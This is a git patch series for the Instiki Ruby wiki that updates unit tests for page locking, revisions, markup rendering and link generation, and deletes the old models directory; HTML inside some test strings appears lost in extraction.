chunk_type.respond_to? :pattern + assert_no_match(chunk_type.pattern, test_text) + end + end +end + +if defined? $validate_xml_in_assert_success and $validate_xml_in_assert_success == true + module Test + module Unit + module Assertions + unless method_defined? :__assert_success_before_override_by_instiki + alias :__assert_success_before_override_by_instiki :assert_success + end + def assert_success + __assert_success_before_override_by_instiki + if @response.body.kind_of?(Proc) then # it's a file download, not an HTML content + else assert_nothing_raised(@response.body) { REXML::Document.new(@response.body) } end + end + end + end + end +end diff --git a/test/unit/diff_test.rb b/test/unit/diff_test.rb index 3a0f35a5..90d0e79c 100755 --- a/test/unit/diff_test.rb +++ b/test/unit/diff_test.rb @@ -1,6 +1,6 @@ -#!/bin/env ruby -w +#!/bin/env ruby -require File.dirname(__FILE__) + '/../test_helper' +require File.expand_path(File.dirname(__FILE__) + '/../test_helper') require 'diff' include Diff diff --git a/test/unit/file_yard_test.rb b/test/unit/file_yard_test.rb index f40c0588..9d76bd7c 100755 --- a/test/unit/file_yard_test.rb +++ b/test/unit/file_yard_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby -w +#!/bin/env ruby require File.dirname(__FILE__) + '/../test_helper' require 'fileutils' @@ -67,4 +67,4 @@ class FileYardTest < Test::Unit::TestCase "#{RAILS_ROOT}/storage/test/instiki" end -end \ No newline at end of file +end diff --git a/test/unit/page_test.rb b/test/unit/page_test.rb index 8af94246..02380175 100644 --- a/test/unit/page_test.rb +++ b/test/unit/page_test.rb @@ -1,7 +1,78 @@ -require File.dirname(__FILE__) + '/../test_helper' +require File.expand_path(File.dirname(__FILE__) + '/../test_helper') class PageTest < Test::Unit::TestCase - - fixtures 'webs', 'pages', 'revisions' + fixtures :webs, :pages, :revisions, :system + def setup + @page = pages(:first_page) + end + + def test_lock + assert !@page.locked?(Time.local(2004, 4, 4, 16, 50)) + + @page.lock(Time.local(2004, 4, 4, 16, 30), "DavidHeinemeierHansson") + + assert @page.locked?(Time.local(2004, 4, 4, 16, 50)) + assert !@page.locked?(Time.local(2004, 4, 4, 17, 1)) + + @page.unlock + + assert !@page.locked?(Time.local(2004, 4, 4, 16, 50)) + end + + def test_lock_duration + @page.lock(Time.local(2004, 4, 4, 16, 30), "DavidHeinemeierHansson") + + assert_equal 15, @page.lock_duration(Time.local(2004, 4, 4, 16, 45)) + end + + def test_plain_name + assert_equal "First Page", @page.plain_name + end + + def test_revise + @page.revise('HisWay would be MyWay in kinda lame', Time.local(2004, 4, 4, 16, 55), 'MarianneSyhler') + assert_equal 2, @page.revisions(true).length, 'Should have two revisions' + assert_equal 'MarianneSyhler', @page.current_revision(true).author.to_s, 'Mary should be the author now' + assert_equal 'DavidHeinemeierHansson', @page.revisions.first.author.to_s, 'David was the first author' + end + + def test_revise_continous_revision + @page.revise('HisWay would be MyWay in kinda lame', Time.local(2004, 4, 4, 16, 55), 'MarianneSyhler') + assert_equal 2, @page.revisions(true).length + + @page.current_revision(true) + @page.revise('HisWay would be MyWay in kinda update', Time.local(2004, 4, 4, 16, 57), 'MarianneSyhler') + assert_equal 2, @page.revisions(true).length + assert_equal 'HisWay would be MyWay in kinda update', @page.revisions.last.content + assert_equal Time.local(2004, 4, 4, 16, 57), @page.revisions.last.created_at + + @page.revise('HisWay would be MyWay in the house', Time.local(2004, 4, 4, 16, 58), 'DavidHeinemeierHansson') + assert_equal 3, @page.revisions(true).length + assert_equal 'HisWay would be MyWay in the house', @page.revisions.last.content + + @page.revise('HisWay would be MyWay in my way', Time.local(2004, 4, 4, 17, 30), 'DavidHeinemeierHansson') + assert_equal 4, @page.revisions(true).length + end + + def test_revise_content_unchanged + last_revision_before = @page.current_revision + revisions_number_before = @page.revisions.size + + assert_raises(Instiki::ValidationError) { + @page.revise(@page.current_revision.content, Time.now, 'AlexeyVerkhovsky') + } + + assert_equal last_revision_before, @page.current_revision(true) + assert_equal revisions_number_before, @page.revisions.size + end + + def test_rollback + @page.revise("spot two", Time.now, "David") + @page.revise("spot three", Time.now + 2000, "David") + assert_equal 3, @page.revisions(true).length, "Should have three revisions" + @page.current_revision(true) + @page.rollback(1, Time.now) + assert_equal "HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\\\OverThere -- see SmartEngine in that SmartEngineGUI", @page.current_revision(true).content + end end diff --git a/test/unit/redcloth_for_tex_test.rb b/test/unit/redcloth_for_tex_test.rb index 82270303..d15071a0 100755 --- a/test/unit/redcloth_for_tex_test.rb +++ b/test/unit/redcloth_for_tex_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby -w +#!/bin/env ruby require File.dirname(__FILE__) + '/../test_helper' require 'redcloth_for_tex' @@ -66,4 +66,4 @@ EOL def test_subsection_depth assert_equal "\\subsubsection*{Hello}", RedClothForTex.new("h4. Hello").to_tex end -end \ No newline at end of file +end diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index 0024c6b3..c3f588fa 100644 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -1,7 +1,315 @@ -require File.dirname(__FILE__) + '/../test_helper' +require File.expand_path(File.dirname(__FILE__) + '/../test_helper') class RevisionTest < Test::Unit::TestCase + fixtures :webs, :pages, :revisions, :system - fixtures 'webs', 'pages', 'revisions' + def setup + @wiki = Wiki.new + @web = webs(:test_wiki) + @page = pages(:home_page) + @revision = revisions(:home_page_second_revision) + end + + def test_wiki_words + assert_equal %w( HisWay MyWay SmartEngine SmartEngineGUI ThatWay ), @revision.wiki_words.sort + + @wiki.write_page('wiki1', 'NoWikiWord', 'hey you!', Time.now, 'Me') + assert_equal [], @wiki.read_page('wiki1', 'NoWikiWord').wiki_words + end + def test_existing_pages + assert_equal %w( MyWay SmartEngine ThatWay ), @revision.existing_pages.sort + end + + def test_unexisting_pages + assert_equal %w( HisWay SmartEngineGUI ), @revision.unexisting_pages.sort + end + + def test_content_with_wiki_links + assert_equal '

      His Way? ' + + 'would be My Way in kinda ' + + 'That Way in ' + + 'His Way? ' + + 'though My Way OverThere—see ' + + 'Smart Engine in that ' + + 'Smart Engine GUI' + + '?

      ', + @revision.display_content + end + + def test_markdown + set_web_property :markup, :markdown + + assert_markup_parsed_as( + %{

      My Headline

      \n\n

      that } + + %{Smart Engine GUI?

      }, + "My Headline\n===========\n\nthat SmartEngineGUI") + + code_block = [ + 'This is a code block:', + '', + ' def a_method(arg)', + ' return ThatWay', + '', + 'Nice!' + ].join("\n") + + assert_markup_parsed_as( + %{

      This is a code block:

      \n\n
      def a_method(arg)\n} +
      +        %{return ThatWay\n
      \n\n

      Nice!

      }, + code_block) + end + + def test_markdown_hyperlink_with_slash + # in response to a bug, see http://dev.instiki.org/attachment/ticket/177 + set_web_property :markup, :markdown + + assert_markup_parsed_as( + '

      text

      ', + '[text](http://example/with/slash)') + end + + def test_mixed_formatting + textile_and_markdown = [ + 'Markdown heading', + '================', + '', + 'h2. Textile heading', + '', + '*some* **text** _with_ -styles-', + '', + '* list 1', + '* list 2' + ].join("\n") + + set_web_property :markup, :markdown + assert_markup_parsed_as( + "

      Markdown heading

      \n\n" + + "

      h2. Textile heading

      \n\n" + + "

      some text with -styles-

      \n\n" + + "
        \n
      • list 1
      • \n
      • list 2
      • \n
      ", + textile_and_markdown) + + set_web_property :markup, :textile + assert_markup_parsed_as( + "

      Markdown heading
      ================

      \n\n\n\t

      Textile heading

      " + + "\n\n\n\t

      some text with styles

      " + + "\n\n\n\t
        \n\t
      • list 1
      • \n\t\t
      • list 2
      • \n\t
      ", + textile_and_markdown) + + set_web_property :markup, :mixed + assert_markup_parsed_as( + "

      Markdown heading

      \n\n\n\t

      Textile heading

      \n\n\n\t" + + "

      some text with styles

      \n\n\n\t" + + "
        \n\t
      • list 1
      • \n\t\t
      • list 2
      • \n\t
      ", + textile_and_markdown) + end + + def test_rdoc + set_web_property :markup, :rdoc + + @revision = Revision.new(:page => @page, :content => '+hello+ that SmartEngineGUI', + :author => Author.new('DavidHeinemeierHansson')) + + assert_equal "hello that Smart Engine GUI" + + "?\n\n", @revision.display_content + end + + def test_content_with_auto_links + assert_markup_parsed_as( + '

      http://www.loudthinking.com/ ' + + 'points to That Way from ' + + 'david@loudthinking.com

      ', + 'http://www.loudthinking.com/ points to ThatWay from david@loudthinking.com') + + end + + def test_content_with_aliased_links + assert_markup_parsed_as( + '

      Would a clever motor' + + ' go by any other name?

      ', + 'Would a [[SmartEngine|clever motor]] go by any other name?') + end + + def test_content_with_wikiword_in_em + assert_markup_parsed_as( + '

      should we go ' + + 'That Way or This Way?' + + '

      ', + '_should we go ThatWay or ThisWay _') + end + + def test_content_with_wikiword_in_tag + assert_markup_parsed_as( + '

      That is some Stylish Emphasis

      ', + 'That is some Stylish Emphasis') + end + + def test_content_with_escaped_wikiword + # there should be no wiki link + assert_markup_parsed_as('

      WikiWord

      ', '\WikiWord') + end + + def test_content_with_pre_blocks + assert_markup_parsed_as( + '

      A class SmartEngine end would not mark up

      CodeBlocks

      ', + 'A class SmartEngine end would not mark up
      CodeBlocks
      ') + end + + def test_content_with_autolink_in_parentheses + assert_markup_parsed_as( + '

      The W3C body (' + + 'http://www.w3c.org) sets web standards

      ', + 'The W3C body (http://www.w3c.org) sets web standards') + end + + def test_content_with_link_in_parentheses + assert_markup_parsed_as( + '

      (What is a wiki?)

      ', + '("What is a wiki?":http://wiki.org/wiki.cgi?WhatIsWiki)') + end + + def test_content_with_image_link + assert_markup_parsed_as( + '

      This is a Textile image link.

      ', + 'This !http://hobix.com/sample.jpg! is a Textile image link.') + end + + def test_content_with_inlined_img_tag + assert_markup_parsed_as( + '

      This is an inline image link.

      ', + 'This is an inline image link.') + + assert_markup_parsed_as( + '

      This is an inline image link.

      ', + 'This is an inline image link.') + end + + def test_nowiki_tag + assert_markup_parsed_as( + '

      Do not mark up [[this text]] or http://www.thislink.com.

      ', + 'Do not mark up [[this text]] ' + + 'or http://www.thislink.com.') + end + + def test_multiline_nowiki_tag + assert_markup_parsed_as( + "

      Do not mark \n up [[this text]] \nand http://this.url.com but markup " + + 'this?

      ', + "Do not mark \n up [[this text]] \n" + + "and http://this.url.com but markup [[this]]") + end + + def test_content_with_bracketted_wiki_word + set_web_property :brackets_only, true + assert_markup_parsed_as( + '

      This is a WikiWord and a tricky name ' + + 'Sperberg-McQueen?.

      ', + 'This is a WikiWord and a tricky name [[Sperberg-McQueen]].') + end + + def test_content_for_export + assert_equal '

      His Way would be ' + + 'My Way in kinda ' + + 'That Way in ' + + 'His Way though ' + + 'My Way OverThere—see ' + + 'Smart Engine in that ' + + 'Smart Engine GUI

      ', + @revision.display_content_for_export + end + + def test_double_replacing + @revision.content = "VersionHistory\r\n\r\ncry VersionHistory" + assert_equal '

      Version History' + + "?

      \n\n\n\t

      cry " + + 'Version History?' + + '

      ', + @revision.display_content + + @revision.clear_display_cache + + @revision.content = "f\r\nVersionHistory\r\n\r\ncry VersionHistory" + assert_equal "

      f
      Version History" + + "?

      \n\n\n\t

      cry " + + "Version History?" + + "

      ", + @revision.display_content + end + + def test_difficult_wiki_words + @revision.content = "[[It's just awesome GUI!]]" + assert_equal "

      It's just awesome GUI!" + + "?

      ", + @revision.display_content + end + + def test_revisions_diff + Revision.create(:page => @page, :content => 'What a blue and lovely morning', :author => Author.new('DavidHeinemeierHansson')) + Revision.create(:page => @page, :content => 'What a red and lovely morning today', :author => Author.new('DavidHeinemeierHansson')) + + assert_equal "

      What a blue red " + + "and lovely morningmorning " + + "today

      ", @page.revisions.last.display_diff + end + + def test_link_to_file + assert_markup_parsed_as( + '

      doc.pdf?

      ', + '[[doc.pdf:file]]') + end + + def test_link_to_pic + FileUtils.mkdir_p "#{RAILS_ROOT}/storage/test/wiki1" + FileUtils.rm(Dir["#{RAILS_ROOT}/storage/test/wiki1/*"]) + @wiki.file_yard(@web).upload_file('square.jpg', StringIO.new('')) + assert_markup_parsed_as( + '

      Square

      ', + '[[square.jpg|Square:pic]]') + assert_markup_parsed_as( + '

      square.jpg

      ', + '[[square.jpg:pic]]') + end + + def test_link_to_non_existant_pic + assert_markup_parsed_as( + '

      NonExistant?' + + '

      ', + '[[NonExistant.jpg|NonExistant:pic]]') + assert_markup_parsed_as( + '

      NonExistant.jpg?' + + '

      ', + '[[NonExistant.jpg:pic]]') + end + + def test_wiki_link_with_colon + assert_markup_parsed_as( + '

      With:Colon?

      ', + '[[With:Colon]]') + end + + # TODO Remove the leading underscores from this test when upgrading to RedCloth 3.0.1; + # also add a test for the "Unhappy Face" problem (another interesting RedCloth bug) + def test_list_with_tildas + list_with_tildas = <<-EOL + * "a":~b + * c~ d + EOL + + assert_markup_parsed_as( + "
        \n\t
      • a
      • \n\t\t
      • c~ d
      • \n\t
      ", + list_with_tildas) + end + + def test_textile_image_in_mixed_wiki + set_web_property :markup, :mixed + assert_markup_parsed_as( + "

      \"\"\nss

      ", + "!http://google.com!\r\nss") + end + + def assert_markup_parsed_as(expected_output, input) + revision = Revision.new(:page => @page, :content => input, :author => Author.new('AnAuthor')) + assert_equal expected_output, revision.display_content, 'Textile output not as expected' + end end diff --git a/test/unit/uri_test.rb b/test/unit/uri_test.rb index 9cef4a23..4affbd60 100755 --- a/test/unit/uri_test.rb +++ b/test/unit/uri_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby -w +#!/bin/env ruby require File.dirname(__FILE__) + '/../test_helper' require 'chunks/uri' diff --git a/test/unit/web_test.rb b/test/unit/web_test.rb index 2e504e0c..433b579f 100644 --- a/test/unit/web_test.rb +++ b/test/unit/web_test.rb @@ -1,7 +1,158 @@ -require File.dirname(__FILE__) + '/../test_helper' +require File.expand_path(File.dirname(__FILE__) + '/../test_helper') class WebTest < Test::Unit::TestCase - - fixtures 'webs', 'pages', 'revisions' + fixtures :webs, :pages, :revisions, :system + def setup + @web = webs(:instiki) + end + + def test_wiki_word_linking + @web.add_page('SecondPage', 'Yo, yo. Have you EverBeenHated', + Time.now, 'DavidHeinemeierHansson') + + assert_equal('

      Yo, yo. Have you Ever Been Hated' + + '?

      ', + @web.page("SecondPage").display_content) + + @web.add_page('EverBeenHated', 'Yo, yo. Have you EverBeenHated', Time.now, + 'DavidHeinemeierHansson') + assert_equal('

      Yo, yo. Have you Ever Been Hated

      ', + @web.page("SecondPage").display_content) + end + + def test_pages_by_revision + add_sample_pages + assert_equal 'EverBeenHated', @web.select.by_revision.first.name + end + + def test_pages_by_match + add_sample_pages + assert_equal 2, @web.select { |page| page.content =~ /me/i }.length + assert_equal 1, @web.select { |page| page.content =~ /Who/i }.length + assert_equal 0, @web.select { |page| page.content =~ /none/i }.length + end + + def test_references + add_sample_pages + assert_equal 1, @web.select.pages_that_reference('EverBeenHated').length + assert_equal 0, @web.select.pages_that_reference('EverBeenInLove').length + end + + def test_delete + add_sample_pages + assert_equal 2, @web.pages.length + @web.remove_pages([ @web.page('EverBeenInLove') ]) + assert_equal 1, @web.pages(true).length + end + + def test_make_link + add_sample_pages + + existing_page_wiki_url = + 'Ever Been In Love' + existing_page_published_url = + 'Ever Been In Love' + existing_page_static_url = + 'Ever Been In Love' + new_page_wiki_url = + 'Unknown Word?' + new_page_published_url = + new_page_static_url = + 'Unknown Word' + + # no options + assert_equal existing_page_wiki_url, @web.make_link('EverBeenInLove') + + # :mode => :export + assert_equal existing_page_static_url, @web.make_link('EverBeenInLove', nil, :mode => :export) + + # :mode => :publish + assert_equal existing_page_published_url, + @web.make_link('EverBeenInLove', nil, :mode => :publish) + + # new page, no options + assert_equal new_page_wiki_url, @web.make_link('UnknownWord') + + # new page, :mode => :export + assert_equal new_page_static_url, @web.make_link('UnknownWord', nil, :mode => :export) + + # new page, :mode => :publish + assert_equal new_page_published_url, @web.make_link('UnknownWord', nil, :mode => :publish) + + # Escaping special characters in the name + assert_equal( + 'Smith & Wesson?', + @web.make_link('Smith & Wesson')) + + # optionally using text as the link text + assert_equal( + existing_page_published_url.sub(/>Ever Been In LoveHaven't you ever been in love?<"), + @web.make_link('EverBeenInLove', "Haven't you ever been in love?", :mode => :publish)) + + end + + def test_initialize + web = Web.new(:name => 'Wiki2', :address => 'wiki2', :password => '123') + + assert_equal 'Wiki2', web.name + assert_equal 'wiki2', web.address + assert_equal '123', web.password + + # new web should be set for maximum features enabled + assert_equal :textile, web.markup + assert_equal '008B26', web.color + assert !web.safe_mode? + assert_equal([], web.pages) + assert web.allow_uploads? + assert_nil web.additional_style + assert !web.published? + assert !web.brackets_only? + assert !web.count_pages? + assert_equal 100, web.max_upload_size + end + + def test_initialize_invalid_name + assert_raises(Instiki::ValidationError) { + Web.create(:name => 'Wiki2', :address => "wiki\234", :password => '123') + } + end + + def test_new_page_linked_from_mother_page + # this was a bug in revision 204 + home = @web.add_page('HomePage', 'This page refers to AnotherPage', + Time.local(2004, 4, 4, 16, 50), 'Alexey Verkhovsky') + @web.add_page('AnotherPage', 'This is \AnotherPage', + Time.local(2004, 4, 4, 16, 51), 'Alexey Verkhovsky') + + @web.pages(true) + assert_equal [home], @web.select.pages_that_link_to('AnotherPage') + end + + def test_orphaned_pages + add_sample_pages + home = @web.add_page('HomePage', + 'This is a home page, it should not be an orphan', + Time.local(2004, 4, 4, 16, 50), 'AlexeyVerkhovsky') + author = @web.add_page('AlexeyVerkhovsky', + 'This is an author page, it should not be an orphan', + Time.local(2004, 4, 4, 16, 50), 'AlexeyVerkhovsky') + self_linked = @web.add_page('SelfLinked', + 'I am me SelfLinked and link to EverBeenInLove', + Time.local(2004, 4, 4, 16, 50), 'AnonymousCoward') + + # page that links to itself, and nobody else links to it must be an orphan + assert_equal ['EverBeenHated', 'SelfLinked'], + @web.select.orphaned_pages.collect{ |page| page.name }.sort + end + + private + + def add_sample_pages + @in_love = @web.add_page('EverBeenInLove', 'Who am I me', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') + @hated = @web.add_page('EverBeenHated', 'I am me EverBeenHated', + Time.local(2004, 4, 4, 16, 51), 'DavidHeinemeierHansson') + end end diff --git a/test/unit/wiki_words_test.rb b/test/unit/wiki_words_test.rb index a1aa1ff9..93bc5d12 100755 --- a/test/unit/wiki_words_test.rb +++ b/test/unit/wiki_words_test.rb @@ -1,6 +1,6 @@ -#!/bin/env ruby -w +#!/bin/env ruby -require File.dirname(__FILE__) + '/../test_helper' +require File.expand_path(File.dirname(__FILE__) + '/../test_helper') require 'wiki_words' class WikiWordsTest < Test::Unit::TestCase From 6832b2edf9edde74819c562eb1265a938d12f7f3 Mon Sep 17 00:00:00 2001 From: Rick Okin Date: Tue, 9 Aug 2005 02:20:50 +0000 Subject: [PATCH 330/529] removed old models' --- app/models-old/author.rb | 4 - app/models-old/chunks/category.rb | 33 ----- app/models-old/chunks/chunk.rb | 86 ----------- app/models-old/chunks/engines.rb | 61 -------- app/models-old/chunks/include.rb | 41 ------ app/models-old/chunks/literal.rb | 31 ---- app/models-old/chunks/nowiki.rb | 28 ---- app/models-old/chunks/test.rb | 18 --- app/models-old/chunks/uri.rb | 182 ------------------------ app/models-old/chunks/wiki.rb | 141 ------------------ app/models-old/file_yard.rb | 58 -------- app/models-old/page.rb | 120 ---------------- app/models-old/page_lock.rb | 23 --- app/models-old/page_set.rb | 89 ------------ app/models-old/revision.rb | 127 ----------------- app/models-old/web.rb | 184 ------------------------ app/models-old/wiki_content.rb | 205 -------------------------- app/models-old/wiki_service.rb | 229 ------------------------------ app/models-old/wiki_words.rb | 23 --- 19 files changed, 1683 deletions(-) delete mode 100644 app/models-old/author.rb delete mode 100644 app/models-old/chunks/category.rb delete mode 100644 app/models-old/chunks/chunk.rb delete mode 100644 app/models-old/chunks/engines.rb delete mode 100644 app/models-old/chunks/include.rb delete mode 100644 app/models-old/chunks/literal.rb delete mode 100644 app/models-old/chunks/nowiki.rb delete mode 100644 app/models-old/chunks/test.rb delete mode 100644 app/models-old/chunks/uri.rb delete mode 100644 app/models-old/chunks/wiki.rb delete mode 100644 app/models-old/file_yard.rb delete mode 100644 app/models-old/page.rb delete mode 100644 app/models-old/page_lock.rb delete mode 100644 app/models-old/page_set.rb delete mode 100644 app/models-old/revision.rb delete mode 100644 app/models-old/web.rb delete mode 100644 app/models-old/wiki_content.rb delete mode 100644 app/models-old/wiki_service.rb delete mode 100644 app/models-old/wiki_words.rb diff --git a/app/models-old/author.rb b/app/models-old/author.rb deleted file mode 100644 index 258cc2b8..00000000 --- a/app/models-old/author.rb +++ /dev/null @@ -1,4 +0,0 @@ -class Author < String - attr_accessor :ip - def initialize(name, ip) @ip = ip; super(name) end -end \ No newline at end of file diff --git a/app/models-old/chunks/category.rb b/app/models-old/chunks/category.rb deleted file mode 100644 index d08d8636..00000000 --- a/app/models-old/chunks/category.rb +++ /dev/null @@ -1,33 +0,0 @@ -require 'chunks/chunk' - -# The category chunk looks for "category: news" on a line by -# itself and parses the terms after the ':' as categories. -# Other classes can search for Category chunks within -# rendered content to find out what categories this page -# should be in. -# -# Category lines can be hidden using ':category: news', for example -class Category < Chunk::Abstract - CATEGORY_PATTERN = /^(:)?category\s*:(.*)$/i - def self.pattern() CATEGORY_PATTERN end - - attr_reader :hidden, :list - -def initialize(match_data, content) - super(match_data, content) - @hidden = match_data[1] - @list = match_data[2].split(',').map { |c| c.strip } - @unmask_text = '' - if @hidden - @unmask_text = '' - else - category_urls = @list.map { |category| url(category) }.join(', ') - @unmask_text = '
      category: ' + category_urls + '
      ' - end - end - - # TODO move presentation of page metadata to controller/view - def url(category) - %{#{category}} - end -end diff --git a/app/models-old/chunks/chunk.rb b/app/models-old/chunks/chunk.rb deleted file mode 100644 index 9ba3cc04..00000000 --- a/app/models-old/chunks/chunk.rb +++ /dev/null @@ -1,86 +0,0 @@ -require 'uri/common' - -# A chunk is a pattern of text that can be protected -# and interrogated by a renderer. Each Chunk class has a -# +pattern+ that states what sort of text it matches. -# Chunks are initalized by passing in the result of a -# match by its pattern. - -module Chunk - class Abstract - - # automatically construct the array of derivatives of Chunk::Abstract - @derivatives = [] - - class << self - attr_reader :derivatives - end - - def self::inherited( klass ) - Abstract::derivatives << klass - end - - # the class name part of the mask strings - def self.mask_string - self.to_s.delete(':').downcase - end - - # a regexp that matches all chunk_types masks - def Abstract::mask_re(chunk_types) - tmp = chunk_types.map{|klass| klass.mask_string}.join("|") - Regexp.new("chunk([0-9a-f]+n\\d+)(#{tmp})chunk") - end - - attr_reader :text, :unmask_text, :unmask_mode - - def initialize(match_data, content) - @text = match_data[0] - @content = content - @unmask_mode = :normal - end - - # Find all the chunks of the given type in content - # Each time the pattern is matched, create a new - # chunk for it, and replace the occurance of the chunk - # in this content with its mask. - def self.apply_to(content) - content.gsub!( self.pattern ) do |match| - new_chunk = self.new($~, content) - content.add_chunk(new_chunk) - new_chunk.mask - end - end - - # should contain only [a-z0-9] - def mask - @mask ||="chunk#{@id}#{self.class.mask_string}chunk" - end - - # We should not use object_id because object_id is not guarantied - # to be unique when we restart the wiki (new object ids can equal old ones - # that were restored from madeleine storage) - def id - @id ||= "#{@content.page_id}n#{@content.chunk_id}" - end - - def unmask - @content.sub!(mask, @unmask_text) - end - - def rendered? - @unmask_mode == :normal - end - - def escaped? - @unmask_mode == :escape - end - - def revert - @content.sub!(mask, @text) - # unregister - @content.delete_chunk(self) - end - - end - -end diff --git a/app/models-old/chunks/engines.rb b/app/models-old/chunks/engines.rb deleted file mode 100644 index fe5a96a8..00000000 --- a/app/models-old/chunks/engines.rb +++ /dev/null @@ -1,61 +0,0 @@ -$: << File.dirname(__FILE__) + "../../lib" - -require 'redcloth' -require 'bluecloth_tweaked' -require 'rdocsupport' -require 'chunks/chunk' - -# The markup engines are Chunks that call the one of RedCloth -# or RDoc to convert text. This markup occurs when the chunk is required -# to mask itself. -module Engines - class AbstractEngine < Chunk::Abstract - - # Create a new chunk for the whole content and replace it with its mask. - def self.apply_to(content) - new_chunk = self.new(content) - content.replace(new_chunk.mask) - end - - private - - # Never create engines by constructor - use apply_to instead - def initialize(content) - @content = content - end - - end - - class Textile < AbstractEngine - def mask - redcloth = RedCloth.new(@content, [:hard_breaks] + @content.options[:engine_opts]) - redcloth.filter_html = false - redcloth.no_span_caps = false - redcloth.to_html(:textile) - end - end - - class Markdown < AbstractEngine - def mask - BlueCloth.new(@content, @content.options[:engine_opts]).to_html - end - end - - class Mixed < AbstractEngine - def mask - redcloth = RedCloth.new(@content, @content.options[:engine_opts]) - redcloth.filter_html = false - redcloth.no_span_caps = false - redcloth.to_html - end - end - - class RDoc < AbstractEngine - def mask - RDocSupport::RDocFormatter.new(@content).to_html - end - end - - MAP = { :textile => Textile, :markdown => Markdown, :mixed => Mixed, :rdoc => RDoc } - MAP.default = Textile -end diff --git a/app/models-old/chunks/include.rb b/app/models-old/chunks/include.rb deleted file mode 100644 index 370093cc..00000000 --- a/app/models-old/chunks/include.rb +++ /dev/null @@ -1,41 +0,0 @@ -require 'chunks/wiki' - -# Includes the contents of another page for rendering. -# The include command looks like this: "[[!include PageName]]". -# It is a WikiReference since it refers to another page (PageName) -# and the wiki content using this command must be notified -# of changes to that page. -# If the included page could not be found, a warning is displayed. - -class Include < WikiChunk::WikiReference - - INCLUDE_PATTERN = /\[\[!include\s+(.*?)\]\]\s*/i - def self.pattern() INCLUDE_PATTERN end - - - def initialize(match_data, content) - super - @page_name = match_data[1].strip - @unmask_text = get_unmask_text_avoiding_recursion_loops - end - - private - - def get_unmask_text_avoiding_recursion_loops - if refpage then - refpage.clear_display_cache - if refpage.wiki_includes.include?(@content.page_name) - # this will break the recursion - @content.delete_chunk(self) - return "Recursive include detected; #{@page_name} --> #{@content.page_name} " + - "--> #{@page_name}\n" - else - @content.merge_chunks(refpage.display_content) - return refpage.display_content.pre_rendered - end - else - return "Could not include #{@page_name}\n" - end - end - -end diff --git a/app/models-old/chunks/literal.rb b/app/models-old/chunks/literal.rb deleted file mode 100644 index 09da4005..00000000 --- a/app/models-old/chunks/literal.rb +++ /dev/null @@ -1,31 +0,0 @@ -require 'chunks/chunk' - -# These are basic chunks that have a pattern and can be protected. -# They are used by rendering process to prevent wiki rendering -# occuring within literal areas such as and
       blocks
      -# and within HTML tags.
      -module Literal
      -
      -  class AbstractLiteral < Chunk::Abstract
      -
      -    def initialize(match_data, content)
      -      super
      -      @unmask_text = @text
      -    end
      -
      -  end
      -
      -  # A literal chunk that protects 'code' and 'pre' tags from wiki rendering.
      -  class Pre < AbstractLiteral
      -    PRE_BLOCKS = "a|pre|code"
      -    PRE_PATTERN = Regexp.new('<('+PRE_BLOCKS+')\b[^>]*?>.*?', Regexp::MULTILINE)
      -    def self.pattern() PRE_PATTERN end
      -  end 
      -
      -  # A literal chunk that protects HTML tags from wiki rendering.
      -  class Tags < AbstractLiteral
      -    TAGS = "a|img|em|strong|div|span|table|td|th|ul|ol|li|dl|dt|dd"
      -    TAGS_PATTERN = Regexp.new('<(?:'+TAGS+')[^>]*?>', Regexp::MULTILINE) 
      -    def self.pattern() TAGS_PATTERN  end
      -  end
      -end
      diff --git a/app/models-old/chunks/nowiki.rb b/app/models-old/chunks/nowiki.rb
      deleted file mode 100644
      index ef99ec0b..00000000
      --- a/app/models-old/chunks/nowiki.rb
      +++ /dev/null
      @@ -1,28 +0,0 @@
      -require 'chunks/chunk'
      -
      -# This chunks allows certain parts of a wiki page to be hidden from the
      -# rest of the rendering pipeline. It should be run at the beginning
      -# of the pipeline in `wiki_content.rb`.
      -#
      -# An example use of this chunk is to markup double brackets or
      -# auto URI links:
      -#  Here are [[double brackets]] and a URI: www.uri.org
      -#
      -# The contents of the chunks will not be processed by any other chunk
      -# so the `www.uri.org` and the double brackets will appear verbatim.
      -#
      -# Author: Mark Reid 
      -# Created: 8th June 2004
      -class NoWiki < Chunk::Abstract
      -
      -  NOWIKI_PATTERN = Regexp.new('(.*?)', Regexp::MULTILINE)
      -  def self.pattern() NOWIKI_PATTERN end
      -
      -  attr_reader :plain_text
      -
      -  def initialize(match_data, content)
      -    super
      -    @plain_text = @unmask_text = match_data[1]
      -  end
      -
      -end
      diff --git a/app/models-old/chunks/test.rb b/app/models-old/chunks/test.rb
      deleted file mode 100644
      index edf77d14..00000000
      --- a/app/models-old/chunks/test.rb
      +++ /dev/null
      @@ -1,18 +0,0 @@
      -require 'test/unit'
      -
      -class ChunkTest < Test::Unit::TestCase
      -
      -  # Asserts a number of tests for the given type and text.
      -  def match(type, test_text, expected)
      -	pattern = type.pattern
      -    assert_match(pattern, test_text)
      -    pattern =~ test_text   # Previous assertion guarantees match
      -    chunk = type.new($~)
      -    
      -    # Test if requested parts are correct.
      -    for method_sym, value in expected do
      -      assert_respond_to(chunk, method_sym)
      -      assert_equal(value, chunk.method(method_sym).call, "Checking value of '#{method_sym}'")
      -    end
      -  end
      -end
      diff --git a/app/models-old/chunks/uri.rb b/app/models-old/chunks/uri.rb
      deleted file mode 100644
      index 1a208535..00000000
      --- a/app/models-old/chunks/uri.rb
      +++ /dev/null
      @@ -1,182 +0,0 @@
      -require 'chunks/chunk'
      -
      -# This wiki chunk matches arbitrary URIs, using patterns from the Ruby URI modules.
      -# It parses out a variety of fields that could be used by renderers to format
      -# the links in various ways (shortening domain names, hiding email addresses)
      -# It matches email addresses and host.com.au domains without schemes (http://)
      -# but adds these on as required.
      -#
      -# The heuristic used to match a URI is designed to err on the side of caution.
      -# That is, it is more likely to not autolink a URI than it is to accidently
      -# autolink something that is not a URI. The reason behind this is it is easier
      -# to force a URI link by prefixing 'http://' to it than it is to escape and
      -# incorrectly marked up non-URI.
      -#
      -# I'm using a part of the [ISO 3166-1 Standard][iso3166] for country name suffixes.
      -# The generic names are from www.bnoack.com/data/countrycode2.html)
      -#   [iso3166]: http://geotags.com/iso3166/
      -
      -class URIChunk < Chunk::Abstract
      -  include URI::REGEXP::PATTERN
      -
      -  # this condition is to get rid of pesky warnings in tests
